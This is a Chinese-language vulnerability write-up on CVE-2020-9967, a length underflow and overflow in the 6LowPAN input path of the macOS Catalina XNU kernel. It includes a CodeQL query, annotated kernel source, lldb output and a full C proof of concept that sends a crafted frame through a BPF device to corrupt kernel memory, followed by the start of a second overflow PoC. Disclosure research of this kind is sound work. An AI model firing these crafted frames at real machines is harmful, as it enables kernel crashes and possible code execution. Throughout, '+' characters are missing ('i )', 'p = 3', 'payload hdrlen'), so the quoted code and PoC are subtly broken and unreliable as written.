受Kevin Backhouse在寻找XNU远程漏洞方面的伟大工作的启发,我决定花一些时间看看CodeQL,并进行一些变种分析。这导致了在macOS 10.15.4的6LowPAN代码中发现了一个本地根到内核(虽然被苹果记录为远程)的漏洞。
该问题已于2020年5月11日报告给苹果。
这个问题被分配为CVE-2020-9967,修复方法包含在下面的安全更新中。
macOS Big Sur
2020年12月5日,苹果公司表示,已经公布了所有适用平台的CVE。
错误发现
在XNU中,入站和出站的网络数据包被存储在一个称为mbuf的内存管理单元中。数据通常由操作系统的网络栈代码读取或写入mbuf中。
我的思考过程是,我可以定义一个简单的污点跟踪查询,以找到任何不受信任的网络数据来源(源),最终会污染内存复制操作的大小参数(汇)。我最初从这里开始修改查询,寻找源头m_mtod和sink builtin___memcpy_chk。这导致没有找到任何结果。然而,在XNU内部,bcopy被大量使用,这最终会变成buildin___memmove_chk,所以查询被修改如下。
代码语言:javascript复制import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
class Config extends TaintTracking::Configuration {
Config() { this = "sixlowpan_flow" }
override predicate isSource(DataFlow::Node source) {
source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
}
override predicate isSink(DataFlow::Node sink) {
exists (FunctionCall call
| call.getArgument(2) = sink.asExpr() and
call.getTarget().getName() = "__builtin___memmove_chk" )
}
}
from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "memmove with tainted size."
运行这个查询,我得到了大约15个结果,我发现的漏洞是其中之一。
通过查看结果,我发现这个这个流程值得人工调查。
代码语言:javascript复制call to m_mtod if_6lowpan.c:623:2
len if_6lowpan.c:663:41
ref arg & ... [payload_len] if_6lowpan.c:663:46
& ... [payload_len] if_6lowpan.c:666:19
ieee02154hdr [payload_len] sixxlowpan.c:882:38
ieee02154hdr [payload_len] sixxlowpan.c:886:32
ieee02154hdr [payload_len] sixxlowpan.c:819:43
ieee02154hdr [payload_len] sixxlowpan.c:855:7
payload_len sixxlowpan.c:855:21
... - ... sixxlowpan.c:855:7
这证明了为代码库提供定制化的CodeQL查询来识别常见错误模式的力量。
在我深入研究我在这里发现的漏洞之前,了解一下6LowPAN的背景是有帮助的。
6LowPAN
原来作为macOS Catalina 10.15的一部分,苹果悄悄地在xnu内核中引入了对6LowPAN 6LowPAN和IEEE 802.15.4的支持。任何引入xnu的实质性变化都值得调查,因为这些很可能是引入新漏洞的来源。6LowPAN 是 "IPv6 over Low-Power Wireless Persona Area Networks "的缩写,顾名思义,它是一种网络技术,允许在小型链路层帧(如 IEEE 802.15.4)中有效地传输 IPv6 数据包。
该协议的相关RFC是RFC4944、RFC6282和RFC6775。
给大家介绍一下背景,IEEE 802.15.4是定义低速率无线个人区域网(LR-WPAN)操作的标准,并规定了LR-WPAN的物理层和媒体接入层。6LowPAN扩展了该标准,提供了802.15.4中没有定义的上层。一个流行的物联网协议Thread利用了6LowPAN,顺便说一下,苹果在2018年加入了Thread工作组......:)。)
在XNU内核源中,frame802154.c包含了802.15.4帧创建和解析的实现。if_6lowpan.c包含了6LowPAN网络接口的相关代码,sixlowpan.c则是6LowPAN的压缩和解压缩。其中很大一部分是从Contiki OS中提取的,并经过苹果的修改和封装代码。
目前还没有公开的文档,唯一公开提到的是关于Thread HomePod mini。
IEEE 802.15.4 帧格式
第2层(协议栈内的MAC层)在IEEE标准802.15.4-2015中的 "通用MAC帧格式 "7.2节中定义:
帧控制字段如下:
IPv6数据包必须在数据帧上进行。当我们在 "漏洞部分 "中讨论XNU代码库内的解析时,这些细节将很重要。帧已经被解析以确定头,然后有效载荷部分被处理。
LoWPAN有效载荷
由于一个完整的IPv6数据包不适合IEEE 802.15.4帧,必须提供一个适应层,以符合IPv6对最小MTU的要求。该标准还定义了头压缩的使用,因为预计大多数应用将在IEEE 802.15.4上使用IP。
因此,LoWPAN有效载荷(例如,一个IPv6数据包)遵循上述的封装头。
值得注意的是,一个IPv6头也有40个八位字节长。
在初始标准中,定义了LOWPAN_HC1压缩的IPv6数据报。这意味着6LowPAN有效载荷在接收时是被压缩的。这也将是理解该漏洞时的一个重要观察。
数据链路层调度
问题是,我们如何将6LowPAN帧送到苹果设备上,是否会自动处理?仔细研究代码,我们可以看到数据链路层有能力调度这种类型的帧。
最初我们可以发送一个以太网数据包,它将由demux函数处理:
代码语言:javascript复制int
ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,
protocol_family_t *protocol_family)
{
struct ether_header *eh = (struct ether_header *)(void *)frame_header;
u_short ether_type = eh->ether_type;
u_int16_t type;
u_int8_t *data;
u_int32_t i = 0;
struct ether_desc_blk_str *desc_blk =
(struct ether_desc_blk_str *)ifp->if_family_cookie;
u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;
struct en_desc *ed = desc_blk ? desc_blk->block_ptr : NULL;
u_int32_t extProto1 = 0;
u_int32_t extProto2 = 0;
if (eh->ether_dhost[0] & 1) {
/* Check for broadcast */
if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {
m->m_flags |= M_BCAST;
} else {
m->m_flags |= M_MCAST;
}
}
if (m->m_flags & M_HASFCS) {
/*
* If the M_HASFCS is set by the driver we want to make sure
* that we strip off the trailing FCS data before handing it
* up the stack.
*/
m_adj(m, -ETHER_CRC_LEN);
m->m_flags &= ~M_HASFCS;
}
if ((eh->ether_dhost[0] & 1) == 0) {
/*
* When the driver is put into promiscuous mode we may receive
* unicast frames that are not intended for our interfaces.
* They are marked here as being promiscuous so the caller may
* dispose of them after passing the packets to any interface
* filters.
*/
if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {
m->m_flags |= M_PROMISC;
}
}
/* check for IEEE 802.15.4 */
if (ether_type == htons(ETHERTYPE_IEEE802154)) {
*protocol_family = PF_802154;
return 0;
}
如果ethernet头中的ether_type是ETHERTYPE_IEEE802154,那么我们将协议家族设置为PF_802154。
现在在默认配置中,除非配置了6lowpan接口,否则这个协议家族不会被处理,这导致下面的代码注册了一个函数fixlowpan_input,这个函数将在处理802.15.4帧时被调用。
代码语言:javascript复制/*
* Function: sixlowpan_attach_protocol
* Purpose:
* Attach a DLIL protocol to the interface
* The ethernet demux actually special cases 802.15.4.
* The demux here isn't used. The demux will return PF_802154 for the
* appropriate packets and our sixlowpan_input function will be called.
*/
static int
sixlowpan_attach_protocol(struct ifnet *ifp)
{
int error;
struct ifnet_attach_proto_param reg;
bzero(®, sizeof(reg));
reg.input = sixlowpan_input;
reg.detached = sixlowpan_detached;
error = ifnet_attach_protocol(ifp, PF_802154, ®);
if (error) {
printf("%s(%s%d) ifnet_attach_protocol failed, %dn",
__func__, ifnet_name(ifp), ifnet_unit(ifp), error);
}
return error;
}
漏洞详情
好了,现在我们终于把背景信息说清楚了,我将描述一下发现的漏洞。调用sixlowpan_input函数对802.15.4数据帧进行解构,具体如下。
代码语言:javascript复制/*
* 6lowpan input routine.
* Decapsulate the 802.15.4 Data Frame
* Header decompression on the payload
* Pass the mbuf to the IPV6 protocol stack using proto_input()
*/
static int
sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,
mbuf_t m, __unused char *frame_header)
{
frame802154_t ieee02154hdr;
u_int8_t *payload = NULL;
if6lpan_ref ifl = NULL;
bpf_packet_func bpf_func;
mbuf_t mc, m_temp;
int off, err = 0;
u_int16_t len;
/* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */
mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
if (mc == NULL) {
err = -1;
goto err_out;
}
memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));
len = ntohs(len); // This is the size read from the frame on the wire.
m_adj(m, sizeof(u_int16_t));
/* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */
for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {
if (m_temp->m_len > 0) {
m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));
off = m_temp->m_len;
}
}
p = p_6lowpan_ifnet;
mc->m_pkthdr.rcvif = p;
sixlowpan_lock();
ifl = ifnet_get_if6lpan_retained(p);
if (ifl == NULL) {
sixlowpan_unlock();
err = -1;
goto err_out;
}
if (if6lpan_flags_ready(ifl) == 0) {
if6lpan_release(ifl);
sixlowpan_unlock();
err = -1;
goto err_out;
}
bpf_func = ifl->if6lpan_bpf_input;
sixlowpan_unlock();
if6lpan_release(ifl);
if (bpf_func) {
bpf_func(p, mc);
}
/* Parse the 802.15.4 frame header */
bzero(&ieee02154hdr, sizeof(ieee02154hdr));
frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);
/* XXX Add check for your link layer address being dest */
sixxlowpan_input(&ieee02154hdr, payload);
首先,m_getcl为传入的802.15.4帧和未压缩的有效载荷分配一个mbuf集群mc。
集群mbuf的大小是2048字节的MCLBYTES。大于这个大小的数据会被复制到多个mbuf的链上。
正如你在这里看到的,len是从传入的mbuf m中读取的,并且是完全由攻击者控制的。
然后,m_adj被用来从mbuf链的头部修剪这两个字节。
然后将压缩后的802.15.4有效载荷从源mbuf m复制到分配的集群mbuf mc。
然后将集群mbuf的数据指针与攻击者控制的len值一起传递给frame802154_parse。
这有一些明显的问题,比如如果mbuf内的数据小于mc内的帧长度怎么办。
代码语言:javascript复制/*----------------------------------------------------------------------------*/
/**
* brief Parses an input frame. Scans the input frame to find each
* section, and stores the information of each section in a
* frame802154_t structure.
*
* param data The input data from the radio chip.
* param len The size of the input data
* param pf The frame802154_t struct to store the parsed frame information.
*/
int
frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)
{
uint8_t *p;
frame802154_fcf_t fcf;
int c;
#if LLSEC802154_USES_EXPLICIT_KEYS
uint8_t key_id_mode;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
if (len < 3) {
return 0;
}
p = data;
/* decode the FCF */
fcf.frame_type = p[0] & 7;
fcf.security_enabled = (p[0] >> 3) & 1;
fcf.frame_pending = (p[0] >> 4) & 1;
fcf.ack_required = (p[0] >> 5) & 1;
fcf.panid_compression = (p[0] >> 6) & 1;
fcf.dest_addr_mode = (p[1] >> 2) & 3;
fcf.frame_version = (p[1] >> 4) & 3;
fcf.src_addr_mode = (p[1] >> 6) & 3;
/* copy fcf and seqNum */
memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));
pf->seq = p[2];
p = 3; /* Skip first three bytes */
/* Destination address, if any */
if (fcf.dest_addr_mode) {
/* Destination PAN */
pf->dest_pid = p[0] (p[1] << 8);
p = 2;
/* Destination address */
/* l = addr_len(fcf.dest_addr_mode); */
/* for(c = 0; c < l; c ) { */
/* pf->dest_addr.u8[c] = p[l - c - 1]; */
/* } */
/* p = l; */
if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {
linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
pf->dest_addr[0] = p[1];
pf->dest_addr[1] = p[0];
p = 2;
} else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {
for (c = 0; c < 8; c ) {
pf->dest_addr[c] = p[7 - c];
}
p = 8;
}
} else {
linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
pf->dest_pid = 0;
}
/* Source address, if any */
if (fcf.src_addr_mode) {
/* Source PAN */
if (!fcf.panid_compression) {
pf->src_pid = p[0] (p[1] << 8);
p = 2;
} else {
pf->src_pid = pf->dest_pid;
}
/* Source address */
/* l = addr_len(fcf.src_addr_mode); */
/* for(c = 0; c < l; c ) { */
/* pf->src_addr.u8[c] = p[l - c - 1]; */
/* } */
/* p = l; */
if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {
linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
pf->src_addr[0] = p[1];
pf->src_addr[1] = p[0];
p = 2;
} else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {
for (c = 0; c < 8; c ) {
pf->src_addr[c] = p[7 - c];
}
p = 8;
}
} else {
linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
pf->src_pid = 0;
}
#if LLSEC802154_SECURITY_LEVEL
if (fcf.security_enabled) {
pf->aux_hdr.security_control.security_level = p[0] & 7;
#if LLSEC802154_USES_EXPLICIT_KEYS
pf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
p = 1;
memcpy(pf->aux_hdr.frame_counter.u8, p, 4);
p = 4;
#if LLSEC802154_USES_EXPLICIT_KEYS
key_id_mode = pf->aux_hdr.security_control.key_id_mode;
if (key_id_mode) {
c = (key_id_mode - 1) * 4;
memcpy(pf->aux_hdr.key_source.u8, p, c);
p = c;
pf->aux_hdr.key_index = p[0];
p = 1;
}
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
}
#endif /* LLSEC802154_SECURITY_LEVEL */
/* header length */
c = p - data;
/* payload length */
pf->payload_len = (len - c);
/* payload */
*payload = p;
/* return header length if successful */
return c > len ? 0 : c;
}
/** brief Parameters used by the frame802154_create() function. These
* parameters are used in the 802.15.4 frame header. See the 802.15.4
* specification for details.
*/
struct frame802154 {
/* The fields dest_addr and src_addr must come first to ensure they are aligned to the
* CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use
* the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */
uint8_t dest_addr[8]; /**< Destination address */
uint8_t src_addr[8]; /**< Source address */
frame802154_fcf_t fcf; /**< Frame control field */
uint8_t seq; /**< Sequence number */
uint16_t dest_pid; /**< Destination PAN ID */
uint16_t src_pid; /**< Source PAN ID */
frame802154_aux_hdr_t aux_hdr; /**< Aux security header */
//uint8_t *payload; /**< Pointer to 802.15.4 payload */
int payload_len; /**< Length of payload field */
};
typedef struct frame802154 frame802154_t;
关于这个函数和调用者,有一些关键的观察。
如果len<3,那么函数将返回0,并且不初始化payload指针(也就是一个NULL指针)。
frame802154_parse的返回值不会被检查。因此,这可能导致头长度>有效载荷的情况。
由于我们可以将len控制在0-0xffff的值之间,所以我们可以使pf->payload_len为负值(对-header_len),小于预期的大小或者大于mc中输入数据本身的大小。
那么在这些情况下会发生什么呢?
代码语言:javascript复制errno_t
sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
errno_t error = 0;
error = sixxlowpan_uncompress(ieee02154hdr, payload);
if (error != 0) {
goto done;
}
/*
* TO DO: fragmentation
*/
done:
return error;
}
然后对有效载荷进行解压:
代码语言:javascript复制errno_t
sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
long hdroffset;
size_t hdrlen;
u_int8_t hdrbuf[128];
errno_t error;
bzero(hdrbuf, sizeof(hdrbuf));
hdrlen = sizeof(hdrbuf);
error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,
0, &hdroffset, &hdrlen, hdrbuf);
if (error != 0) {
return error;
}
if (hdroffset < 0) {
/*
* hdroffset negative means that we have to remove
* hdrlen of extra stuff
*/
memmove(&payload[0],
&payload[hdrlen],
ieee02154hdr->payload_len - hdrlen);
ieee02154hdr->payload_len -= hdrlen;
} else {
/*
* hdroffset is the size of the compressed header
* -- i.e. when the untouched data starts
*
* hdrlen is the size of the decompressed header
* that takes the place of compressed header of size hdroffset
*/
memmove(payload hdrlen,
payload hdroffset,
ieee02154hdr->payload_len - hdroffset);
memcpy(payload, hdrbuf, hdrlen);
ieee02154hdr->payload_len = hdrlen - hdroffset;
}
return 0;
}
从解压功能来看:
代码语言:javascript复制/*--------------------------------------------------------------------*/
/**
* brief Uncompress HC1 (and HC_UDP) headers and put them in
* sicslowpan_buf
*
* This function is called by the input function when the dispatch is
* HC1.
* We %process the packet in the packetbuf buffer, uncompress the header
* fields, and copy the result in the sicslowpan buffer.
* At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len
* are set to the appropriate values
*
* param ip_len Equal to 0 if the packet is not a fragment (IP length
* is then inferred from the L2 length), non 0 if the packet is a 1st
* fragment.
*/
errno_t
uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,
uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)
{
struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;
if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {
*hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;
*hdrlen = SICSLOWPAN_IPV6_HDR_LEN;
return 0;
}
*hdroffset = 0;
/* version, traffic class, flow label */
ip6->ip6_flow = 0;
ip6->ip6_vfc = IPV6_VERSION;
/* src and dest ip addresses */
uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
uip_ds6_set_addr_iid(&ip6->ip6_src,
(uip_lladdr_t *)frame->src_addr);
uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
uip_ds6_set_addr_iid(&ip6->ip6_dst,
(uip_lladdr_t *)frame->dest_addr);
*hdrlen = UIP_IPH_LEN;
/* Next header field */
switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {
case SICSLOWPAN_HC1_NH_ICMP6:
ip6->ip6_nxt = IPPROTO_ICMPV6;
ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
break;
case SICSLOWPAN_HC1_NH_TCP:
ip6->ip6_nxt = IPPROTO_TCP;
ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
break;
case SICSLOWPAN_HC1_NH_UDP:
ip6->ip6_nxt = IPPROTO_UDP;
if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {
struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;
/* UDP header is compressed with HC_UDP */
if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=
SICSLOWPAN_HC_UDP_ALL_C) {
printf("sicslowpan (uncompress_hdr), packet not supported");
return EINVAL;
}
/* IP TTL */
ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];
/* UDP ports, len, checksum */
udp->uh_sport =
htons(SICSLOWPAN_UDP_PORT_MIN (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));
udp->uh_dport =
htons(SICSLOWPAN_UDP_PORT_MIN (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));
memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);
*hdrlen = UIP_UDPH_LEN;
*hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;
} else {
ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
}
break;
default:
/* this shouldn't happen, drop */
return EINVAL;
}
/* IP length field. */
if (ip_len == 0) {
size_t len = frame->payload_len - *hdroffset *hdrlen - sizeof(struct ip6_hdr);
/* This is not a fragmented packet */
SET16(&ip6->ip6_plen, len);
} else {
/* This is a 1st fragment */
SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);
}
/* length field in UDP header */
if (ip6->ip6_nxt == IPPROTO_UDP) {
struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;
memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);
}
return 0;
}
我们可以通过这个函数观察到以下情况。
它希望mbuf中至少有40字节的IPv6头*hdrlen可用。
它不期望有效载荷大小小于头。
ip_len总是0。
如果我们忽略所有潜在的出界读:),我们可以将这个问题用于下面的出界写。
len的下溢导致一个巨大的值被传递给memmove(狂写).
因此,如果我们将接收到的帧的len设置为0x4,我们最终会在frame802154_parse中计算出以下值。
c header length = 3 frame->payload_len = 1
然后,我们可以看到,通过设置SICSLOWPAN_HC1_NH_UDP,我们最终在uncompress_hdr_hc1中得到以下值。
*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3。
*hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40。
sizeof(struct ip6_hdr) = 40
因此,当我们返回到 sixxlowpan_uncompress 函数:
代码语言:javascript复制/*
* hdroffset is the size of the compressed header
* -- i.e. when the untouched data starts
*
* hdrlen is the size of the decompressed header
* that takes the place of compressed header of size hdroffset
*/
memmove(payload hdrlen,
payload hdroffset,
ieee02154hdr->payload_len - hdroffset);
memcpy(payload, hdrbuf, hdrlen);
我们在payload 40处有一个写(在mc mbuf集群中,由攻击者从源payload缓冲区控制的数据,ieee02154hdr->payload_len - 3 = -2长度。
POC 1
代码语言:javascript复制/***
Apple XNU 6LowPAN POC
Catalina 10.15.4
POC 1: Wild memmove trigger with an underflow.
Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0
***/
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>
// Set these to source and target
unsigned char dest_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
struct frame_t {
struct ether_header header;
unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
ssize_t len;
ssize_t payload_len;
};
// Open bpf device
int open_bpf_device()
{
char buf[11] = {};
int bpf = 0;
for(int i = 0; i < 99; i )
{
sprintf(buf,"/dev/bpf%i",i);
bpf = open(buf,O_RDWR);
if( bpf != -1 ) {
printf("Opened device /dev/bpf%in", i);
break;
}
}
if(bpf == -1) {
printf("Cannot open any /dev/bpf* device, exitingn");
exit(1);
}
return bpf;
}
// Associate device
void assoc_dev(int bpf, char* interface)
{
struct ifreq bound_if;
strcpy(bound_if.ifr_name, interface);
if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
printf("Cannot bind bpf device to physical device %s, exitingn", interface);
exit(1);
}
printf("Bound bpf device to physical device %sn", interface);
}
// Write trigger frame
void write_single_frame(int bpf)
{
ssize_t data_length = 32;
struct frame_t frame;
memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);
// 802.15.4 frame type.
frame.header.ether_type = 0x908;
frame.len = (2*ETHER_ADDR_LEN) ETHER_TYPE_LEN data_length;
// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
frame.payload[0] = 0;
frame.payload[1] = 4;
// This is the start of the "data" passed to frame802154_parse and considered frame header
// m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
// These are used for the FCF (no flags set)
frame.payload[2] = 0;
frame.payload[3] = 0;
frame.payload[4] = 0;
// As none FCF are set p =3 bytes.
// header length
// c = p - data;
// c = 3
// payload length
// pf->payload_len = (4 - 3);
// pf->payload_len = 1
// This is the start of our payload passed to sixxlowpan_uncompress
frame.payload[5] = 0;
frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP
// Just pad the frame with 'A'.
for (int j = 7; j < 32; j ) {
frame.payload[j] = 0x41;
}
ssize_t bytes_sent;
bytes_sent = write(bpf, &frame, frame.len);
if(bytes_sent > 0) {
printf("Bytes sent: %ldn", bytes_sent);
} else {
perror("Error sending frame");
exit(1);
}
}
int main(int argc, char *argv[])
{
char* interface = "en0";
int bpf;
bpf = open_bpf_device();
assoc_dev(bpf, interface);
write_single_frame(bpf);
return 0;
}
在下面的POC 1代码中,我使1 - 3 = -2触发了一次巨大的写入,使问题明显地被发现。
我们可以通过下面的调试输出来确认:
代码语言:javascript复制(lldb) disas
kernel`sixxlowpan_uncompress:
0xffffff8003ffa0b0 < 0>: push rbp
0xffffff8003ffa0b1 < 1>: mov rbp, rsp
0xffffff8003ffa0b4 < 4>: push r15
0xffffff8003ffa0b6 < 6>: push r14
0xffffff8003ffa0b8 < 8>: push r13
0xffffff8003ffa0ba < 10>: push r12
0xffffff8003ffa0bc < 12>: push rbx
0xffffff8003ffa0bd < 13>: sub rsp, 0x98
0xffffff8003ffa0c4 < 20>: mov r15, rsi
0xffffff8003ffa0c7 < 23>: mov r14, rdi
0xffffff8003ffa0ca < 26>: lea rax, [rip 0x4a1f9f] ; __stack_chk_guard
0xffffff8003ffa0d1 < 33>: mov rax, qword ptr [rax]
0xffffff8003ffa0d4 < 36>: mov qword ptr [rbp - 0x30], rax
0xffffff8003ffa0d8 < 40>: int3
0xffffff8003ffa0d9 < 41>: mov dword ptr [rbp - 0xc0], 0x0
0xffffff8003ffa0e3 < 51>: mov qword ptr [rbp - 0x38], 0x0
0xffffff8003ffa0eb < 59>: mov qword ptr [rbp - 0x40], 0x0
0xffffff8003ffa0f3 < 67>: mov qword ptr [rbp - 0x48], 0x0
0xffffff8003ffa0fb < 75>: mov qword ptr [rbp - 0x50], 0x0
0xffffff8003ffa103 < 83>: mov qword ptr [rbp - 0x58], 0x0
0xffffff8003ffa10b < 91>: mov qword ptr [rbp - 0x60], 0x0
0xffffff8003ffa113 < 99>: mov qword ptr [rbp - 0x68], 0x0
0xffffff8003ffa11b < 107>: mov qword ptr [rbp - 0x70], 0x0
0xffffff8003ffa123 < 115>: mov qword ptr [rbp - 0x78], 0x0
0xffffff8003ffa12b < 123>: mov qword ptr [rbp - 0x80], 0x0
0xffffff8003ffa133 < 131>: mov qword ptr [rbp - 0x88], 0x0
0xffffff8003ffa13e < 142>: mov qword ptr [rbp - 0x90], 0x0
0xffffff8003ffa149 < 153>: mov qword ptr [rbp - 0x98], 0x0
0xffffff8003ffa154 < 164>: mov qword ptr [rbp - 0xa0], 0x0
0xffffff8003ffa15f < 175>: mov qword ptr [rbp - 0xa8], 0x0
0xffffff8003ffa16a < 186>: mov qword ptr [rbp - 0xb0], 0x0
0xffffff8003ffa175 < 197>: lea rbx, [rbp - 0xb0]
0xffffff8003ffa17c < 204>: mov esi, 0x80
0xffffff8003ffa181 < 209>: mov rdi, rbx
0xffffff8003ffa184 < 212>: call 0xffffff80039980f0 ; bzero
0xffffff8003ffa189 < 217>: mov qword ptr [rbp - 0xb8], 0x80
0xffffff8003ffa194 < 228>: lea rcx, [rbp - 0xc0]
0xffffff8003ffa19b < 235>: lea r8, [rbp - 0xb8]
0xffffff8003ffa1a2 < 242>: mov rdi, r14
0xffffff8003ffa1a5 < 245>: mov rsi, r15
0xffffff8003ffa1a8 < 248>: xor edx, edx
0xffffff8003ffa1aa < 250>: mov r9, rbx
0xffffff8003ffa1ad < 253>: call 0xffffff8003ff9d70 ; uncompress_hdr_hc1 at sixxlowpan.c:679
0xffffff8003ffa1b2 < 258>: mov ebx, eax
0xffffff8003ffa1b4 < 260>: test eax, eax
0xffffff8003ffa1b6 < 262>: jne 0xffffff8003ffa210 ; < 352> at sixxlowpan.c
0xffffff8003ffa1b8 < 264>: mov r13, qword ptr [rbp - 0xc0]
0xffffff8003ffa1bf < 271>: mov r12, qword ptr [rbp - 0xb8]
0xffffff8003ffa1c6 < 278>: lea rsi, [r15 r12]
0xffffff8003ffa1ca < 282>: test r13, r13
0xffffff8003ffa1cd < 285>: js 0xffffff8003ffa1fa ; < 330> at sixxlowpan.c:841:3
0xffffff8003ffa1cf < 287>: lea rdi, [r15 r13]
0xffffff8003ffa1d3 < 291>: movsxd rdx, dword ptr [r14 0x34]
0xffffff8003ffa1d7 < 295>: int3
0xffffff8003ffa1d8 < 296>: sub edx, ebp
-> 0xffffff8003ffa1da < 298>: call 0xffffff8003998070 ; bcopy
(lldb) register read
General Purpose Registers:
rax = 0x0000000000000000
rbx = 0x0000000000000000
rcx = 0xffffff80669e3d28
rdx = 0xfffffffffffffffe
rdi = 0xffffff80602e1806
rsi = 0xffffff80602e182b
rbp = 0xffffff80669e3cf0
rsp = 0xffffff80669e3c30
r8 = 0xffffff80669e3c38
r9 = 0xffffff80669e3c40
r10 = 0x0000000000000000
r11 = 0x0000000000000003
r12 = 0x0000000000000028
r13 = 0x0000000000000003
r14 = 0xffffff80669e3d28
r15 = 0xffffff80602e1803
rip = 0xffffff8003ffa1da kernel`sixxlowpan_uncompress 298 [inlined] memmove at subrs.c:703
kernel`sixxlowpan_uncompress 298 [inlined] __memmove_chk at sixxlowpan.c:853
kernel`sixxlowpan_uncompress 298 at sixxlowpan.c:853
rflags = 0x0000000000000393
cs = 0x0000000000000008
fs = 0x00000000ffff0000
gs = 0x00000000669e0000
POC 2 - 溢出
然而,我们可以用大的有效载荷大小触发更可控的内存损坏,这也有可能被用于代码执行。
例如,使用以下参数。
len = 0xffff
pf->payload_len = (0xffffff - 3); = 65532 pf->payload_len = 0xfffc
最终,memmove在有效载荷 40处对攻击者来源的数据进行写入,大小为0xfffc-40=(0xfff9)65529。
POC 2演示了这一点。
代码语言:javascript复制/***
Apple XNU 6LowPAN POC
Catalina 10.15.4
POC 2: Write 0xffd4 bytes - overflow
Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0
***/
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
